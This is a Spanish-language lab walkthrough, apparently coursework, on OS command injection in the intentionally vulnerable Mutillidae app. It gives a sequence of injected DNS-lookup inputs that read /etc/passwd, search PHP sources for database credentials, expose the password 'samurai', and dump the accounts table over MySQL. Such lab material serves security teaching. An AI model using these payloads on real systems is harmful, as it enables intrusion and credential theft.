¿Qué es Inyección de Comando?
La Inyección de comandos ocurre cuando un atacante puede ejecutar comandos del sistema operativo o scripts en el servidor desde la aplicación web. Esta potencial vulnerabilidad se produce cuando una aplicación web le permite hacer un nslookup, whois, ping, traceroute y más desde nuestra página web.
Se puede probar la vulnerabilidad utilizando una técnica llamada fuzzing, donde un “;” o “|” o “||” o “&” o “&&” se agrega al final de la entrada esperada (p. ej., www.google.com) seguido de un comando (p. ej., cat / etc / passwd).
¿Qué es Fuzzing?
La prueba de fuzz o fuzzing es una técnica de prueba de software que implica proporcionar datos no válidos, inesperados o aleatorios a las entradas de un programa de ordenador.
Luego, se monitorea el programa en busca de excepciones tales como bloqueos o fallos en las aserciones de código incorporadas o para encontrar posibles pérdidas de memoria. Fuzzing se usa comúnmente para probar problemas de seguridad en software o sistemas informáticos.
practica requisito
Notas de la practica
En esta practica haremos lo siguiente:
Lo primero de todo voy a ver que ip tiene cada uno de los equipos con los que voy a trabajar, tanto el Fedora como el Backtrack
Posteriormente arraco el servicio mysql en el sistema Fedora con la sentencia
[root@fedora14 estudiante]# service mysqld start
voy al Backtrack y escribo en el navegador http://ip-fedora/mutillidae
Vamos a ver como funciona DNS Lookup
Tenemos que ir a la solapa OWASP Top 10 –> A2 - Cross Site Scripting (XSS) –> Reflected (First Order) –> DNS Lookup
El DNS lookup está diseñada para hacer exactamente eso… proporciona una búsqueda de DNS.
Ahora vamos a probar una vulnerabilidad de seguridad que nos permitirá agregar un comando de Linux al final del nombre de host que estamos buscando.
El procedimiento de agregar un “;” después de lo que la aplicación espera, se llama comando fuzzing.
A continuación, ejecutará el comando “uname -a”, que si esto funciona, nos daria el nombre del host (fedora14) y la version del sistema operativo
www.colegiomontessori.com;uname -a
Si vemos que nos da la versión del sistema operativo, ¿No crees que sería bueno saber dónde se está ejecutando la aplicación de la página web en particular?
Ahora ejecutamos “pwd” para mostrarnos el directorio de trabajo actual.
Además, observa en la barra de direcciones que la aplicación se llama dns-lookup.php
entonces ejecutamos
www.colegiomontessori.com; pwd
Solo por observar, veamos si podemos encontrar la línea de código donde PHP está ejecutando una llamada al sistema.
Usaré el comando xargs para buscar, egrep, para seguir las cadenas: exec O system O virtual.
www.colegiomontessori.com; find /var/www/html/mutillidae -name "dns-lookup.php" | xargs egrep '(exec|system|virtual)'
Encontramos que hay una función que esta llamando a shell_exec() que actualmente es´ta ejecutando el comando de Linux nslookup
Ahora vamos a descubrir la Base de Datos usando el fichero /etc/passwd Vamos a buscar en /etc/passwd algunas de las siguientes palabras
postgres, sql, db2 y ora
para eso escribirmos :
www.colegiomontessori.com; cat /etc/passwd | egrep -i '(postgres|sql|db2|ora)'
nos dice que mysql es la base de datos que están usando
Vamos a descubrir cual es el motor de base de datos que se esta usando con el comando “ps”
Usemos el comando “ps” para buscar las siguientes procesos: postgres, sql, db2 y ora.
www.colegiomontessori.com; ps -eaf | egrep -i '(postgres|sql|db2|ora)'
El mysqld (daemon) se está ejecutando.
Nuestro siguiente paso es tratar de averiguar si alguno de los scripts php ubicados en /var/www/html/mutillidae contiene un nombre de usuario y contraseña de la base de datos.
Pero, primero enumera todos los scripts php.
www.colegiomontessori.com; find /var/www/html/mutillidae -name "*.php"
podemos ver una multitud de scripts para interrogar
Buscar scripts php para la contraseña de cadena
Ahora buscamos en los más de 900 scripts en PHP la palabra “contraseña” y “=”.
www.colegiomontessori.com; find /var/www/html/mutillidae -name "*.php" | xargs grep -i "password" | grep "="
y observamos la respuesta 8-om(
y observamos que el fichero MySQLHandler.php contiene la siguiente cadena:
$mMySQLDatabasePassword = "samurai";
Hemos hecho parte del trabajo, porque ahora tenemos la contraseña “samurai”, que está en el fichero MYSQLHandler.php pero no sabemos el usuario que utiliza esa contraseña, por lo que vamos a buscar en MySQLHandler.php las palabras usuario (user) o login
www.colegiomontessori.com; find /var/www/html/mutillidae -name "MySQLHandler.php" | xargs egrep -i '(user|login)' | grep "="
Nos da mucha información, por un lado nos dice que el usuario es root y por otro lado como php se conecta y autentifica con MySQL, eso lo podemos ver en las lisneas $this→mMySQLConnection _…
Mostrar MySQLHandler.php
Creo que podría haberte mostrado esto primero, pero las cosas buenas llegan a los que esperan.
Es posible visualizar los contenidos del programa MySQLHandler.php, codificando las etiquetas “<? Php” y “?>”. Estas etiquetas le dicen a Apache que ejecute un script php.
Para evitar este problema y simplemente mostrar el texto del programa, cambiamos “<” a “& # 60;” y “>” a “& # 62;”.
www.colegiomontessor.com; find /var/www/html/mutillidae -name "MySQLHandler.php" | xargs cat | sed 's/</\</g' | sed 's/>/\>/g'
Aqui sacamos mucha mucha información LOLLOL por un lado “root” el usuario de la base de datos, por otro lado “samurai” la contraseña de la base de datos y por ultimo “nowasp” el nombre de la base de datos
static public $mMySQLDatabaseUsername = "root"; static public $mMySQLDatabasePassword = "samurai"; static public $mMySQLDatabaseName = "nowasp";
Ahora podemos ir al terminal de nuestro Backtrack
root@bt:~# mysql -h 192.168.153.39 -uroot -psamurai mysql> show databases; mysql> use nowasp;
Basicamente vamos a mirar que tablas contienen información del usuario y de la contraseña
mysql> select * from accounts; mysql> quit;
Print de pantalla a entregar
root@bt:~# cd root@bt:~# mysql -h 192.168.153.39 -uroot -psamurai -e "select * from nowasp.accounts" > account.txt root@bt:~# ls -l account.txt root@bt:~# date root@bt:~# echo "Tu nombre"